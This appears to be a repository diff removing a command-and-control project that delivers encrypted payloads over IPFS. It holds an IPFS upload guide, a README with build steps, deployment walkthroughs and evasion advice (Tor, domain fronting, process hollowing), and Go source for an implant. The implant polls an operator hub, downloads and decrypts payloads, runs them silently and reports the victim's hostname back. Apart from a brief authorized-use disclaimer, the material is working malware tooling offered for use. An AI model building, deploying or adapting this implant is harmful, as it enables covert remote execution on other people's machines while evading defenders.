Compare commits
No commits in common. "main" and "main" have entirely different histories.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,161 +0,0 @@
|
|||
# IPFS Upload Guide
|
||||
|
||||
How to get payloads onto IPFS for use with the C2 IPFS payload delivery system.
|
||||
|
||||
## Option 1: Local IPFS Node (Recommended)
|
||||
|
||||
### Install IPFS (Kubo)
|
||||
|
||||
```bash
|
||||
# Download Kubo v0.29.0
|
||||
wget https://dist.ipfs.tech/kubo/v0.29.0/kubo_v0.29.0_linux-amd64.tar.gz
|
||||
|
||||
# Extract
|
||||
tar -xzf kubo_v0.29.0_linux-amd64.tar.gz
|
||||
|
||||
# Install
|
||||
cd kubo
|
||||
sudo bash install.sh
|
||||
|
||||
# Initialize
|
||||
ipfs init
|
||||
|
||||
# Start the daemon
|
||||
ipfs daemon &
|
||||
|
||||
# Wait for it to be ready
|
||||
ipfs id
|
||||
```
|
||||
|
||||
### Upload a File
|
||||
|
||||
```bash
|
||||
# Add a file to IPFS
|
||||
ipfs add payload.enc
|
||||
|
||||
# Output: added QmX... payload.enc
|
||||
# The hash is your CID: QmX...
|
||||
```
|
||||
|
||||
### Start the Daemon on Boot
|
||||
|
||||
```bash
|
||||
# Systemd service
|
||||
sudo tee /etc/systemd/system/ipfs.service << 'EOF'
|
||||
[Unit]
|
||||
Description=IPFS Daemon
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
ExecStart=/usr/local/bin/ipfs daemon
|
||||
Restart=on-failure
|
||||
User=root
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
|
||||
sudo systemctl enable ipfs
|
||||
sudo systemctl start ipfs
|
||||
```
|
||||
|
||||
### IPFS API
|
||||
|
||||
Once the daemon is running, the API is available at `http://127.0.0.1:5001/api/v0`.
|
||||
The server uses this by default.
|
||||
|
||||
## Option 2: Pinata.cloud (Free Tier)
|
||||
|
||||
Pinata offers a free tier with 1GB of storage — no local node needed.
|
||||
|
||||
### Setup
|
||||
|
||||
1. Create an account at https://pinata.cloud
|
||||
2. Go to API Keys and generate a JWT
|
||||
3. Use it with the server/upload tool
|
||||
|
||||
### Upload via API
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer <your-jwt>" \
|
||||
-F "file=@payload.enc" \
|
||||
https://api.pinata.cloud/pinning/pinFileToIPFS
|
||||
```
|
||||
|
||||
Response: `{"IpfsHash":"Qm...","PinSize":1234,"Timestamp":"..."}`
|
||||
|
||||
### Upload via the C2 Tools
|
||||
|
||||
```bash
|
||||
# Using the upload helper
|
||||
./upload -key <key> -file payload.bin -pinata-jwt <jwt>
|
||||
|
||||
# Or with server
|
||||
./server -pinata-jwt <jwt> -mode http
|
||||
# Then in console: deploy payload.bin
|
||||
```
|
||||
|
||||
## Option 3: web3.storage (Free)
|
||||
|
||||
https://web3.storage offers 5GB free with API key auth.
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer <api-token>" \
|
||||
-H "Content-Type: application/octet-stream" \
|
||||
--data-binary @payload.enc \
|
||||
https://api.web3.storage/upload
|
||||
```
|
||||
|
||||
## Option 4: Infura IPFS API
|
||||
|
||||
Infura provides free IPFS API access (rate limited).
|
||||
|
||||
```bash
|
||||
# Upload
|
||||
curl -X POST \
|
||||
-F "file=@payload.enc" \
|
||||
"https://ipfs.infura.io:5001/api/v0/add"
|
||||
|
||||
# Requires project ID/secret for authenticated gateways
|
||||
```
|
||||
|
||||
## Gateway URLs for Download
|
||||
|
||||
The implant supports multiple gateway fallback. Configure via `--gateways`.
|
||||
|
||||
Default gateways used by the implant:
|
||||
|
||||
| Gateway | URL Template |
|
||||
|---------|-------------|
|
||||
| ipfs.io | `https://ipfs.io/ipfs/%s` |
|
||||
| Cloudflare | `https://cloudflare-ipfs.com/ipfs/%s` |
|
||||
| Filebase | `https://ipfs.filebase.io/ipfs/%s` |
|
||||
| dweb.link | `https://dweb.link/ipfs/%s` |
|
||||
| cf-ipfs.com | `https://cf-ipfs.com/ipfs/%s` |
|
||||
|
||||
Custom gateways:
|
||||
|
||||
```bash
|
||||
./client --cid-source <url> --decryption-key <key> \
|
||||
--gateways "https://gateway1.example.com/ipfs/%s,https://gateway2.example.com/ipfs/%s"
|
||||
```
|
||||
|
||||
## CID Verification
|
||||
|
||||
When a file is added to IPFS, its content is hashed to produce a content identifier (CID).
|
||||
The hash is derived from the file content — changing even one bit changes the CID.
|
||||
|
||||
The implant downloads the payload and can verify the SHA-256 hash matches the CID
|
||||
(for CIDv0, this requires base58 decoding of the multihash — a proper production
|
||||
implementation would add a base58 library for full verification).
|
||||
|
||||
## OpSec Notes
|
||||
|
||||
- **Local node**: Your IP is visible to the IPFS DHT when pinning. Use a VPN or Tor.
|
||||
- **Pinata**: They can see your files. Encrypt before uploading (which this system does).
|
||||
- **Encryption**: AES-256-GCM with a pre-shared key. Key compromise = payload compromise.
|
||||
- **Gateway privacy**: Public gateways (ipfs.io, cloudflare-ipfs.com) log your IP.
|
||||
- **Private gateways**: Run your own gateway for opsec. See: `https://github.com/ipfs/go-ipfs`
|
||||
- **Pinning**: Files not pinned may be garbage collected. Pin your payloads or use a pinning service.
|
||||
|
|
@ -1,423 +0,0 @@
|
|||
# C2 IPFS Payload Delivery System
|
||||
|
||||
Decentralized payload delivery using IPFS + AES-256-GCM encryption. No C2 server IP to block — payloads live on IPFS, implants fetch them from any public gateway.
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
|
||||
│ Operator │────▶│ CID Source │────▶│ Implant │
|
||||
│ Console │ │ (HTTP or │ │ │
|
||||
│ (server) │ │ Contract) │ │ (client) │
|
||||
└──────┬───────┘ └──────┬─────────┘ └──────┬───────┘
|
||||
│ │ │
|
||||
│ encrypt + upload │ serves CID │ polls for CID
|
||||
▼ ▼ ▼
|
||||
┌─────────┐ ┌──────────┐ ┌──────────┐
|
||||
│ IPFS │ │ Implants │ │ IPFS │
|
||||
│ Network │◀───────│ poll CID │◀─────────│ Gateways │
|
||||
└─────────┘ └──────────┘ └──────────┘
|
||||
```
|
||||
|
||||
### Data Flow
|
||||
|
||||
1. **Operator** encrypts a payload binary with AES-256-GCM and uploads it to IPFS
|
||||
2. **Operator** publishes the resulting CID to the CID source (HTTP hub or smart contract)
|
||||
3. **Implant** polls the CID source periodically with jitter
|
||||
4. **Implant** detects a new CID, downloads the encrypted payload from any IPFS gateway
|
||||
5. **Implant** decrypts with the pre-shared key, executes, reports status
|
||||
|
||||
## Modes
|
||||
|
||||
### MODE A — Simple HTTP CID Hub (Default, No Blockchain)
|
||||
|
||||
A lightweight HTTP server that serves CIDs. The implant polls `GET /cid`.
|
||||
|
||||
**Pros:** Simple, no blockchain knowledge needed, no gas costs.
|
||||
|
||||
```
|
||||
┌──────────┐ GET /cid ┌──────────┐
|
||||
│ Server │◀──────────────│ Implant │
|
||||
│ :8443 │ ──────────▶│ │
|
||||
└────┬─────┘ POST /cid └──────────┘
|
||||
│
|
||||
│ POST /cid {"cid":"Qm..."}
|
||||
│
|
||||
┌──┴──┐
|
||||
│Operator│
|
||||
└──────┘
|
||||
```
|
||||
|
||||
### MODE B — Smart Contract CID Feed (Fully Decentralized)
|
||||
|
||||
A smart contract emits `NewCID` events. The implant watches the event log on-chain.
|
||||
|
||||
**Pros:** Fully decentralized, censorship-resistant, transparent.
|
||||
|
||||
**Cons:** Requires ETH for gas, go-ethereum build, chain knowledge.
|
||||
|
||||
```
|
||||
┌──────────┐ emit NewCID ┌─────────────┐ ┌──────────┐
|
||||
│ Operator │──────────────▶│ Smart │ │ Implant │
|
||||
│ Wallet │ │ Contract │◀───│ (watcher)│
|
||||
└──────────┘ └──────┬───────┘ └──────────┘
|
||||
│
|
||||
┌───▼───┐
|
||||
│ Events │
|
||||
│ (logs) │
|
||||
└───────┘
|
||||
```
|
||||
|
||||
## Quick Start (Mode A — 5 minutes)
|
||||
|
||||
### 1. Build
|
||||
|
||||
```bash
|
||||
# Clone or cd into the project
|
||||
cd c2-ipfs-payload
|
||||
|
||||
# Build all tools
|
||||
go build -o server ./cmd/server
|
||||
go build -o client ./cmd/client
|
||||
go build -o upload ./cmd/upload
|
||||
|
||||
# Or build the ethereum-enabled versions
|
||||
go build -tags ethereum -o server-eth ./cmd/server
|
||||
go build -tags ethereum -o client-eth ./cmd/client
|
||||
```
|
||||
|
||||
### 2. Start IPFS
|
||||
|
||||
See [IPFS_UPLOAD.md](IPFS_UPLOAD.md) for detailed setup.
|
||||
|
||||
```bash
|
||||
# Install and start IPFS daemon
|
||||
ipfs init && ipfs daemon &
|
||||
```
|
||||
|
||||
### 3. Start the Server
|
||||
|
||||
```bash
|
||||
./server --port 8443
|
||||
```
|
||||
|
||||
The server will:
|
||||
- Generate a new encryption key (save this!)
|
||||
- Start the HTTP CID hub on port 8443
|
||||
- Open the operator console
|
||||
|
||||
### 4. Deploy a Payload
|
||||
|
||||
In the operator console:
|
||||
|
||||
```
|
||||
> deploy /path/to/payload.bin
|
||||
```
|
||||
|
||||
Or manually:
|
||||
|
||||
```bash
|
||||
# Using the upload helper
|
||||
./upload -key $(cat key.txt) -file payload.bin
|
||||
|
||||
# Then in the console:
|
||||
> cid QmX...
|
||||
```
|
||||
|
||||
### 5. Start the Implant
|
||||
|
||||
```bash
|
||||
./client \
|
||||
--cid-source http://your-server:8443 \
|
||||
--decryption-key <key-from-server> \
|
||||
--poll-interval 30
|
||||
```
|
||||
|
||||
## Server Reference
|
||||
|
||||
### Flags
|
||||
|
||||
| Flag | Default | Description |
|
||||
|------|---------|-------------|
|
||||
| `--port` | `8443` | HTTP server port (mode A) |
|
||||
| `--user` | `""` | Basic auth username (mode A) |
|
||||
| `--pass` | `""` | Basic auth password (mode A) |
|
||||
| `--jwt` | `""` | JWT token (overrides basic auth) |
|
||||
| `--mode` | `"http"` | Operation mode: `http` or `contract` |
|
||||
| `--ipfs-api` | `http://127.0.0.1:5001/api/v0` | IPFS API URL |
|
||||
| `--pinata-jwt` | `""` | Pinata.cloud JWT (alternative IPFS) |
|
||||
| `--enc-key` | `""` | Encryption key (auto-generates if empty) |
|
||||
| `--contract` | `""` | Contract address (mode B) |
|
||||
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
|
||||
| `--max-history` | `100` | Max history entries |
|
||||
|
||||
### Console Commands
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `deploy <file>` | Encrypt, upload to IPFS, update CID |
|
||||
| `cid <cid>` | Manually set a CID |
|
||||
| `encrypt <file>` | Encrypt a file and upload to IPFS |
|
||||
| `status` | Show current state |
|
||||
| `history` | Show recent CID history |
|
||||
| `genkey` | Generate a new encryption key |
|
||||
| `help` | Show help |
|
||||
| `exit` | Shutdown |
|
||||
|
||||
### API Endpoints (Mode A)
|
||||
|
||||
| Method | Path | Auth | Description |
|
||||
|--------|------|------|-------------|
|
||||
| `GET` | `/cid` | Optional | Get current CID |
|
||||
| `POST` | `/cid` | Optional | Set a new CID |
|
||||
| `GET` | `/history` | Optional | Get recent CIDs |
|
||||
| `GET` | `/status` | Optional | Server status |
|
||||
| `GET` | `/` | No | API info |
|
||||
|
||||
**Example:**
|
||||
|
||||
```bash
|
||||
# Set CID
|
||||
curl -X POST http://server:8443/cid \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"cid":"QmX...","note":"stage2 payload"}'
|
||||
|
||||
# Get current CID
|
||||
curl http://server:8443/cid
|
||||
|
||||
# Get history
|
||||
curl http://server:8443/history
|
||||
```
|
||||
|
||||
Auth:
|
||||
|
||||
```bash
|
||||
# With basic auth
|
||||
curl -u admin:password http://server:8443/cid
|
||||
|
||||
# With JWT
|
||||
curl -H "Authorization: Bearer <token>" http://server:8443/cid
|
||||
```
|
||||
|
||||
## Client Reference
|
||||
|
||||
### Flags
|
||||
|
||||
| Flag | Default | Description |
|
||||
|------|---------|-------------|
|
||||
| `--cid-source` | (required) | CID hub URL (mode A) or contract addr (mode B) |
|
||||
| `--decryption-key` | (required) | 32-byte hex key or passphrase |
|
||||
| `--poll-interval` | `60` | Poll interval in seconds |
|
||||
| `--mode` | `"http"` | `http` or `contract` |
|
||||
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
|
||||
| `--gateways` | defaults | Comma-sep IPFS gateway URLs |
|
||||
| `--report-url` | `""` | URL to POST execution reports |
|
||||
| `--config` | `""` | Config file for persistence |
|
||||
| `--jwt-fetch` | `""` | JWT for authenticated CID hub access |
|
||||
| `--id` | auto | Implant ID |
|
||||
|
||||
### Behavior
|
||||
|
||||
- **Jittered polling**: ±20% of the poll interval (reduces fingerprinting)
|
||||
- **Multi-gateway fallback**: Tries multiple IPFS gateways in random order
|
||||
- **Config persistence**: Saves last CID, implant ID, and config to a JSON file
|
||||
- **Auto-reporting**: Posts execution results to a report URL (optional)
|
||||
- **Signal handling**: Saves state on SIGINT/SIGTERM
|
||||
|
||||
## Encryption
|
||||
|
||||
- **Algorithm**: AES-256-GCM (authenticated encryption)
|
||||
- **Key**: 32-byte key (64 hex chars) or arbitrary passphrase (hashed with SHA-256)
|
||||
- **Output**: `nonce (12 bytes) || ciphertext || tag (16 bytes)`
|
||||
- **Per-encryption nonce**: Each encryption generates a fresh random nonce
|
||||
|
||||
### Key Management
|
||||
|
||||
```bash
|
||||
# Generate a key via server (recommended)
|
||||
./server # auto-generates on start
|
||||
|
||||
# Generate a key manually
|
||||
./upload -key <any-32-byte-hex> -file test.bin --no-upload
|
||||
# Better: use genkey in server console
|
||||
|
||||
# Derive from passphrase
|
||||
./client --decryption-key "my-secret-passphrase"
|
||||
```
|
||||
|
||||
## Smart Contract (Mode B)
|
||||
|
||||
### Contract Interface
|
||||
|
||||
```solidity
|
||||
// SPDX-License-Identifier: MIT
|
||||
pragma solidity ^0.8.0;
|
||||
|
||||
contract CIDFeed {
|
||||
string public latestCID;
|
||||
|
||||
event NewCID(address indexed sender, string cid, uint256 timestamp);
|
||||
|
||||
function publishCID(string memory _cid) public {
|
||||
latestCID = _cid;
|
||||
emit NewCID(msg.sender, _cid, block.timestamp);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Deploy and Use
|
||||
|
||||
```bash
|
||||
# Build with ethereum support
|
||||
go build -tags ethereum -o server-eth ./cmd/server
|
||||
|
||||
# Start in contract mode
|
||||
./server-eth \
|
||||
--mode contract \
|
||||
--contract 0x... \
|
||||
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
|
||||
--enc-key <key>
|
||||
|
||||
# Use the console
|
||||
> send-cid 0x... QmX...
|
||||
```
|
||||
|
||||
### Watching Mode B from the Implant
|
||||
|
||||
```bash
|
||||
go build -tags ethereum -o client-eth ./cmd/client
|
||||
|
||||
./client-eth \
|
||||
--mode contract \
|
||||
--cid-source 0x... \
|
||||
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
|
||||
--decryption-key <key>
|
||||
```
|
||||
|
||||
## Payload Workflow Walkthrough
|
||||
|
||||
### Complete Deployment Cycle
|
||||
|
||||
```bash
|
||||
# 1. Build everything
|
||||
go build -o server ./cmd/server
|
||||
go build -o client ./cmd/client
|
||||
|
||||
# 2. Start IPFS daemon
|
||||
ipfs daemon &
|
||||
|
||||
# 3. Start the server (generates key)
|
||||
./server --port 8443
|
||||
|
||||
# 4. In the server console:
|
||||
> genkey
|
||||
New encryption key: a1b2c3d4e5f6... (64 hex chars)
|
||||
|
||||
> deploy shellcode.bin
|
||||
Encrypted shellcode.bin (512 bytes -> 544 bytes encrypted)
|
||||
Uploading to IPFS...
|
||||
Uploaded! CID: QmXyZ...
|
||||
Deployed!
|
||||
|
||||
# 5. On the target:
|
||||
./client \
|
||||
--cid-source http://hub.example.com:8443 \
|
||||
--decryption-key a1b2c3d4e5f6... \
|
||||
--poll-interval 30
|
||||
|
||||
# 6. Implant output:
|
||||
Implant started (ID: aabbccdd, mode: http)
|
||||
Poll interval: 30s with jitter
|
||||
CID source: http://hub.example.com:8443
|
||||
New CID detected: QmXyZ...
|
||||
Fetching payload from IPFS (544 bytes)...
|
||||
Decrypted payload (512 bytes), executing...
|
||||
Payload executed (PID: 12345)
|
||||
|
||||
# 7. Deploy the next stage:
|
||||
> deploy stage2.bin
|
||||
Deployed! CID: QmAbCd...
|
||||
```
|
||||
|
||||
### Manual Workflow (No IPFS Daemon)
|
||||
|
||||
```bash
|
||||
# 1. Encrypt locally
|
||||
./upload -key <key> -file payload.bin --no-upload
|
||||
|
||||
# 2. Upload via Pinata
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer <pinata-jwt>" \
|
||||
-F "file=@payload.bin.enc" \
|
||||
https://api.pinata.cloud/pinning/pinFileToIPFS
|
||||
|
||||
# 3. Set the CID on the hub
|
||||
curl -X POST http://server:8443/cid \
|
||||
-d '{"cid":"QmFromPinata"}'
|
||||
```
|
||||
|
||||
## OpSec Notes
|
||||
|
||||
### Network
|
||||
|
||||
- **CID hub**: Should be behind a CDN (Cloudflare, Fastly) or Tor hidden service
|
||||
- **IPFS uploads**: Use VPN/Tor when connecting to IPFS or Pinata
|
||||
- **Gateways**: Public gateways log IPs. Run your own private gateway for opsec.
|
||||
- **No persistent C2 infra**: No fixed IP that defenders can block — only the hub matters
|
||||
|
||||
### Encryption
|
||||
|
||||
- **Payloads are encrypted before IPFS upload**. Content-addressing verifies integrity.
|
||||
- **Key distribution is the weak point**. Use E2EE (Signal, etc.) or dead drops.
|
||||
- **Key rotation**: Change the encryption key periodically. Re-encrypt and redeploy.
|
||||
- **Passphrases**: Use high-entropy passphrases (>80 bits) rather than short passwords.
|
||||
|
||||
### Implant
|
||||
|
||||
- **DNS for CID hubs**: Use domain fronting or CDN fronting to hide the hub backend
|
||||
- **Jittered polling**: Reduces fingerprintable patterns
|
||||
- **Config persistence**: Encrypt the config file if saved on disk
|
||||
- **Runtime detection**: Consider reflective loading or process hollowing for the executed payload
|
||||
|
||||
### Legal
|
||||
|
||||
This tool is for authorized red teaming, penetration testing, and security research.
|
||||
Do not use against systems you do not own or have explicit written permission to test.
|
||||
|
||||
## Build Requirements
|
||||
|
||||
- Go 1.21+
|
||||
- IPFS (optional, for local uploads) — [Install Guide](IPFS_UPLOAD.md)
|
||||
- go-ethereum (optional, for mode B) — `go get github.com/ethereum/go-ethereum`
|
||||
|
||||
### Platform Support
|
||||
|
||||
| Platform | Mode A | Mode B |
|
||||
|----------|--------|--------|
|
||||
| Linux x86_64 | YES | YES |
|
||||
| Linux arm64 | YES | YES |
|
||||
| macOS x86_64/arm64 | YES | YES |
|
||||
| Windows (cross-compile) | YES | x (CGo) |
|
||||
| OpenBSD/FreeBSD | YES | x |
|
||||
|
||||
## Project Structure
|
||||
|
||||
```
|
||||
c2-ipfs-payload/
|
||||
├── cmd/
|
||||
│ ├── server/main.go # Operator console + CID hub
|
||||
│ ├── client/main.go # Implant
|
||||
│ └── upload/main.go # Helper: encrypt + upload
|
||||
├── pkg/
|
||||
│ ├── types/types.go # Shared data types
|
||||
│ ├── crypto/crypto.go # AES-256-GCM encryption
|
||||
│ ├── ipfs/ipfs.go # IPFS upload/download
|
||||
│ ├── auth/auth.go # HTTP auth middleware
|
||||
│ └── contract/
|
||||
│ ├── contract.go # Contract interface (no deps)
|
||||
│ └── contract_eth.go # go-ethereum implementation
|
||||
├── README.md # This file
|
||||
└── IPFS_UPLOAD.md # IPFS setup guide
|
||||
```
|
||||
|
||||
DISCLAIMER: FOR AUTHORIZED SECURITY TESTING OR EDUCATIONAL PURPOSES ONLY
|
||||
|
|
@ -1,403 +0,0 @@
|
|||
// Command client is the implant for the C2 IPFS payload delivery system.
|
||||
//
|
||||
// It polls a CID source (HTTP hub or smart contract), fetches payloads
|
||||
// from IPFS when a new CID is detected, decrypts, and executes them.
|
||||
//
|
||||
// Usage:
|
||||
// Mode A (HTTP): ./client --cid-source http://hub.example.com:8443 --decryption-key <hex>
|
||||
// Mode B (cont.): ./client --cid-source <contract-addr> --rpc-url <rpc> --decryption-key <hex>
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"math/big"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/signal"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
|
||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
|
||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
|
||||
)
|
||||
|
||||
type Implant struct {
|
||||
mu sync.RWMutex
|
||||
config types.Config
|
||||
lastCID string
|
||||
lastFetchTime time.Time
|
||||
httpClient *http.Client
|
||||
pollTicker *time.Ticker
|
||||
stopCh chan struct{}
|
||||
fetchCount int
|
||||
execCount int
|
||||
startTime time.Time
|
||||
}
|
||||
|
||||
func NewImplant(cfg types.Config) *Implant {
|
||||
if cfg.ImplantID == "" {
|
||||
// Generate a random implant ID
|
||||
idBytes := make([]byte, 8)
|
||||
rand.Read(idBytes)
|
||||
cfg.ImplantID = hex.EncodeToString(idBytes)
|
||||
}
|
||||
if len(cfg.Gateways) == 0 {
|
||||
cfg.Gateways = ipfs.DefaultGateways
|
||||
}
|
||||
if cfg.PollInterval <= 0 {
|
||||
cfg.PollInterval = 60 // default 60 seconds
|
||||
}
|
||||
if cfg.Mode == "" {
|
||||
cfg.Mode = "http"
|
||||
}
|
||||
|
||||
return &Implant{
|
||||
config: cfg,
|
||||
lastCID: cfg.LastCID,
|
||||
httpClient: &http.Client{Timeout: 30 * time.Second},
|
||||
stopCh: make(chan struct{}),
|
||||
startTime: time.Now(),
|
||||
}
|
||||
}
|
||||
|
||||
// poll fetches the current CID from the configured source.
|
||||
func (im *Implant) poll() (string, error) {
|
||||
switch im.config.Mode {
|
||||
case "http":
|
||||
return im.pollHTTP()
|
||||
case "contract":
|
||||
return im.pollContract()
|
||||
default:
|
||||
return "", fmt.Errorf("unknown mode: %s", im.config.Mode)
|
||||
}
|
||||
}
|
||||
|
||||
// pollHTTP fetches the current CID from the HTTP CID hub.
|
||||
func (im *Implant) pollHTTP() (string, error) {
|
||||
url := strings.TrimRight(im.config.CIDSource, "/") + "/cid"
|
||||
|
||||
req, err := http.NewRequest("GET", url, nil)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to create request: %w", err)
|
||||
}
|
||||
|
||||
if im.config.JWTFetch != "" {
|
||||
req.Header.Set("Authorization", "Bearer "+im.config.JWTFetch)
|
||||
}
|
||||
|
||||
resp, err := im.httpClient.Do(req)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("HTTP request failed: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode == http.StatusNotFound {
|
||||
return "", nil // No CID set yet
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return "", fmt.Errorf("HTTP %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to read response: %w", err)
|
||||
}
|
||||
|
||||
var result struct {
|
||||
CID string `json:"cid"`
|
||||
}
|
||||
if err := json.Unmarshal(body, &result); err != nil {
|
||||
return "", fmt.Errorf("failed to parse response: %w", err)
|
||||
}
|
||||
|
||||
return result.CID, nil
|
||||
}
|
||||
|
||||
// pollContract watches smart contract events.
|
||||
// This is a placeholder — real implementation requires go-ethereum.
|
||||
func (im *Implant) pollContract() (string, error) {
|
||||
// TODO: Implement contract event watching when built with -tags ethereum
|
||||
return "", fmt.Errorf("contract mode requires 'go build -tags ethereum ./cmd/client'")
|
||||
}
|
||||
|
||||
// processCID handles a new CID: fetch, verify, decrypt, execute.
|
||||
func (im *Implant) processCID(cid string) error {
|
||||
log.Printf("New CID detected: %s", cid)
|
||||
|
||||
// 1. Fetch from IPFS
|
||||
log.Printf("Fetching payload from IPFS (CID: %s)...", cid)
|
||||
data, err := ipfs.Download(cid, im.config.Gateways)
|
||||
if err != nil {
|
||||
return fmt.Errorf("IPFS download failed: %w", err)
|
||||
}
|
||||
log.Printf("Downloaded %d bytes from IPFS", len(data))
|
||||
|
||||
// 2. Verify content addressing
|
||||
if err := ipfs.VerifyCID(data, cid); err != nil {
|
||||
return fmt.Errorf("CID verification failed: %w", err)
|
||||
}
|
||||
|
||||
// 3. Decrypt
|
||||
key := crypto.DeriveKey(im.config.DecryptionKey)
|
||||
// Try hex key first; fall back to derived key
|
||||
var plaintext []byte
|
||||
var decErr error
|
||||
|
||||
if len(im.config.DecryptionKey) == 64 {
|
||||
if keyBytes, hErr := hex.DecodeString(im.config.DecryptionKey); hErr == nil && len(keyBytes) == 32 {
|
||||
plaintext, decErr = crypto.Decrypt(data, keyBytes)
|
||||
}
|
||||
}
|
||||
if plaintext == nil {
|
||||
plaintext, decErr = crypto.Decrypt(data, key)
|
||||
}
|
||||
if decErr != nil {
|
||||
return fmt.Errorf("decryption failed: %w", decErr)
|
||||
}
|
||||
log.Printf("Decrypted payload (%d bytes), executing...", len(plaintext))
|
||||
|
||||
// 4. Save to temp file
|
||||
tmpFile, err := ipfs.SaveTempFile(plaintext, "c2payload-*")
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to save temp file: %w", err)
|
||||
}
|
||||
defer os.Remove(tmpFile)
|
||||
|
||||
// 5. Execute
|
||||
cmd := exec.Command(tmpFile)
|
||||
cmd.Stdout = nil // Don't capture output by default to avoid suspicion
|
||||
cmd.Stderr = nil
|
||||
cmd.Stdin = nil
|
||||
|
||||
if err := cmd.Start(); err != nil {
|
||||
return fmt.Errorf("execution failed: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("Payload executed (PID: %d)", cmd.Process.Pid)
|
||||
im.mu.Lock()
|
||||
im.execCount++
|
||||
im.lastCID = cid
|
||||
im.lastFetchTime = time.Now()
|
||||
im.mu.Unlock()
|
||||
|
||||
// 6. Report back (fire and forget)
|
||||
go im.report(cid, true, "")
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// report sends execution status back to the operator.
|
||||
func (im *Implant) report(cid string, success bool, errMsg string) {
|
||||
if im.config.ReportURL == "" {
|
||||
return
|
||||
}
|
||||
|
||||
hostname, _ := os.Hostname()
|
||||
report := types.ImplantReport{
|
||||
ImplantID: im.config.ImplantID,
|
||||
CID: cid,
|
||||
Success: success,
|
||||
Error: errMsg,
|
||||
Platform: runtime.GOOS + "/" + runtime.GOARCH,
|
||||
Hostname: hostname,
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
|
||||
data, _ := json.Marshal(report)
|
||||
im.httpClient.Post(im.config.ReportURL, "application/json",
|
||||
strings.NewReader(string(data)))
|
||||
}
|
||||
|
||||
// run starts the main polling loop with jitter.
|
||||
func (im *Implant) run() {
|
||||
log.Printf("Implant started (ID: %s, mode: %s)", im.config.ImplantID, im.config.Mode)
|
||||
log.Printf("Poll interval: %ds with jitter", im.config.PollInterval)
|
||||
log.Printf("CID source: %s", im.config.CIDSource)
|
||||
if im.config.ReportURL != "" {
|
||||
log.Printf("Report URL: %s", im.config.ReportURL)
|
||||
}
|
||||
|
||||
// Initial poll
|
||||
im.pollLoop()
|
||||
|
||||
// Start ticker with jitter
|
||||
baseInterval := time.Duration(im.config.PollInterval) * time.Second
|
||||
im.pollTicker = time.NewTicker(baseInterval)
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-im.pollTicker.C:
|
||||
im.pollLoop()
|
||||
case <-im.stopCh:
|
||||
log.Println("Implant shutting down...")
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// pollLoop performs one poll cycle with jitter.
|
||||
func (im *Implant) pollLoop() {
|
||||
// Add jitter: ±20% of polling interval
|
||||
jitterRange := int64(float64(im.config.PollInterval) * 0.2)
|
||||
if jitterRange < 1 {
|
||||
jitterRange = 1
|
||||
}
|
||||
jitterMs, _ := rand.Int(rand.Reader, big.NewInt(jitterRange*1000))
|
||||
time.Sleep(time.Duration(jitterMs.Int64()) * time.Millisecond)
|
||||
|
||||
cid, err := im.poll()
|
||||
if err != nil {
|
||||
log.Printf("Poll error: %v", err)
|
||||
return
|
||||
}
|
||||
if cid == "" {
|
||||
return // No CID available yet
|
||||
}
|
||||
|
||||
im.mu.RLock()
|
||||
lastCID := im.lastCID
|
||||
im.mu.RUnlock()
|
||||
|
||||
if cid == lastCID {
|
||||
return // Same CID, nothing to do
|
||||
}
|
||||
|
||||
if err := im.processCID(cid); err != nil {
|
||||
log.Printf("CID processing error: %v", err)
|
||||
im.report(cid, false, err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
// saveConfig persists the current state to a config file.
|
||||
func (im *Implant) saveConfig(path string) error {
|
||||
im.mu.RLock()
|
||||
cfg := im.config
|
||||
cfg.LastCID = im.lastCID
|
||||
im.mu.RUnlock()
|
||||
|
||||
data, err := json.MarshalIndent(cfg, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(path, data, 0600)
|
||||
}
|
||||
|
||||
// loadConfig loads implant state from a config file.
|
||||
func loadConfig(path string) (*types.Config, error) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var cfg types.Config
|
||||
if err := json.Unmarshal(data, &cfg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &cfg, nil
|
||||
}
|
||||
|
||||
